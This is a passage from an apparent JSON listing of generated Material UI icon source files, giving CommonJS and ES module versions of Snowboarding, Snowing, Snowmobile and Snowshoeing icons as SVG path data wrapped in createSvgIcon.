    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35L8.5 11.7l1 4.3L6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'SnowboardingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'SnowboardingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowboardingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.4 17.09c-.23-.05-.46.02-.64.17-.69.6-1.64.88-2.6.67L17 20.69l-1-6.19-3.32-2.67 1.8-2.89C15.63 10.78 17.68 12 20 12v-2c-1.85 0-3.44-1.12-4.13-2.72l-.52-1.21C15.16 5.64 14.61 5 13.7 5H8L5.5 9l1.7 1.06L9.1 7h2.35l-2.51 3.99c-.28.45-.37 1-.25 1.52L9.5 16 6 18.35l-.47-.1c-.96-.2-1.71-.85-2.1-1.67-.1-.21-.28-.37-.51-.42-.43-.09-.82.2-.9.58-.04.14-.02.31.05.46.58 1.24 1.71 2.2 3.15 2.51l12.63 2.69c1.44.31 2.86-.11 3.9-1.01.13-.11.21-.26.24-.41.07-.38-.16-.8-.59-.89M8.73 18.93l3.02-2.03-.44-3.32 2.84 2.02.75 4.64z\"\n}), 'SnowboardingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 12.75a1.25 1.25 0 1 1 0 2.5 1.25 1.25 0 0 1 0-2.5M4.75 6a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m12 8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m-9 12a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3 4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3 12a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0\"\n}), 'Snowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 12.75a1.25 1.25 0 1 1 0 2.5 1.25 1.25 0 0 1 0-2.5M4.75 6a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m12 8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m-9 12a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3 4a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m3 12a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0m0-8a1.25 1.25 0 1 0 2.5 0 1.25 1.25 0 0 0-2.5 0\"\n}), 'Snowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowmobile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-1-8-8-8-8h-3v2h2.25l1.45 1.3L11 11l-9.5-1L0 13l4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2\"\n}), 'Snowmobile');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowmobile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-1-8-8-8-8h-3v2h2.25l1.45 1.3L11 11l-9.5-1L0 13l4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2\"\n}), 'Snowmobile');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-1-8-8-8-8h-3v2h2.25l.8.72L11 10 2 9l-2 4 4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2m9-4h-6.7l-7.45-2.23.31-.62 8.44.85 3.93-2.94s3.77 3.44 4.27 4.14c0 0-1.1.8-2.8.8\"\n}), 'SnowmobileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-1-8-8-8-8h-3v2h2.25l.8.72L11 10 2 9l-2 4 4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2m9-4h-6.7l-7.45-2.23.31-.62 8.44.85 3.93-2.94s3.77 3.44 4.27 4.14c0 0-1.1.8-2.8.8\"\n}), 'SnowmobileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6c0 .55.45 1 1 1h1.25l1.45 1.3L11 11l-9.12-.96c-1-.11-1.88.68-1.88 1.69 0 .75.49 1.41 1.21 1.63l3.33 1-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-2c-.55 0-1 .45-1 1s.45 1 1 1h5c1.13 0 2.11-.62 2.63-1.55.36-.65-.15-1.45-.9-1.45-.34 0-.68.16-.84.47-.17.31-.51.53-.89.53h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-.89-7.72-7.75-7.72-7.75-.18-.16-.41-.25-.66-.25H12c-.55 0-1 .45-1 1M8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2\"\n}), 'SnowmobileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6c0 .55.45 1 1 1h1.25l1.45 1.3L11 11l-9.12-.96c-1-.11-1.88.68-1.88 1.69 0 .75.49 1.41 1.21 1.63l3.33 1-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-2c-.55 0-1 .45-1 1s.45 1 1 1h5c1.13 0 2.11-.62 2.63-1.55.36-.65-.15-1.45-.9-1.45-.34 0-.68.16-.84.47-.17.31-.51.53-.89.53h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-.89-7.72-7.75-7.72-7.75-.18-.16-.41-.25-.66-.25H12c-.55 0-1 .45-1 1M8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2\"\n}), 'SnowmobileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C21.6 15.18 23 13 23 13l-9-8h-3v2h2.25l1.45 1.3L11 11l-9.5-1L0 13l4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2\"\n}), 'SnowmobileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C21.6 15.18 23 13 23 13l-9-8h-3v2h2.25l1.45 1.3L11 11l-9.5-1L0 13l4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2\"\n}), 'SnowmobileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 14h-6.7l-7.45-2.23.31-.62 8.44.85 3.93-2.94s3.77 3.44 4.27 4.14c0 0-1.1.8-2.8.8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-1-8-8-8-8h-3v2h2.25l.8.72L11 10 2 9l-2 4 4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2m9-4h-6.7l-7.45-2.23.31-.62 8.44.85 3.93-2.94s3.77 3.44 4.27 4.14c0 0-1.1.8-2.8.8\"\n}, \"1\")], 'SnowmobileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowmobileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 14h-6.7l-7.45-2.23.31-.62 8.44.85 3.93-2.94s3.77 3.44 4.27 4.14c0 0-1.1.8-2.8.8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17c0 .55-.45 1-1 1h-.17l-2.2-2.2C20.58 15.37 22 14.4 22 13c0-1-8-8-8-8h-3v2h2.25l.8.72L11 10 2 9l-2 4 4.54 1.36-3.49 1.88C-.77 17.22-.07 20 2 20h6c2.21 0 4-1.79 4-4h4l2 2h-3v2h6c1.66 0 3-1.34 3-3zM8 18H2l5.25-2.83L10 16c0 1.1-.89 2-2 2m9-4h-6.7l-7.45-2.23.31-.62 8.44.85 3.93-2.94s3.77 3.44 4.27 4.14c0 0-1.1.8-2.8.8\"\n}, \"1\")], 'SnowmobileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowshoeing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'Snowshoeing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Snowshoeing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'Snowshoeing');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'SnowshoeingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'SnowshoeingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.5 8.41c0-.49-.36-.9-.84-.98-1.53-.25-2.79-1.16-3.47-2.35l-1-1.58c-.4-.6-1-1-1.7-1-.68 0-1.28.28-4.77 1.76C7.49 8.07 7 8.8 7 9.6V12c0 .55.45 1 1 1s1-.45 1-1V9.58l1.79-.7L9.2 17l-2.88 2.03-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1 2.85-2.01c.38-.27.65-.66.77-1.1l.7-2.53 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-5.16c0-.55-.23-1.07-.62-1.45l-1.49-1.41.6-3c1.07 1.24 2.63 2.15 4.37 2.43.6.1 1.14-.39 1.14-1\"\n}), 'SnowshoeingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.5 8.41c0-.49-.36-.9-.84-.98-1.53-.25-2.79-1.16-3.47-2.35l-1-1.58c-.4-.6-1-1-1.7-1-.68 0-1.28.28-4.77 1.76C7.49 8.07 7 8.8 7 9.6V12c0 .55.45 1 1 1s1-.45 1-1V9.58l1.79-.7L9.2 17l-2.88 2.03-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1 2.85-2.01c.38-.27.65-.66.77-1.1l.7-2.53 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-5.16c0-.55-.23-1.07-.62-1.45l-1.49-1.41.6-3c1.07 1.24 2.63 2.15 4.37 2.43.6.1 1.14-.39 1.14-1\"\n}), 'SnowshoeingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'SnowshoeingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'SnowshoeingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'SnowshoeingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SnowshoeingTwoTone.mjs",
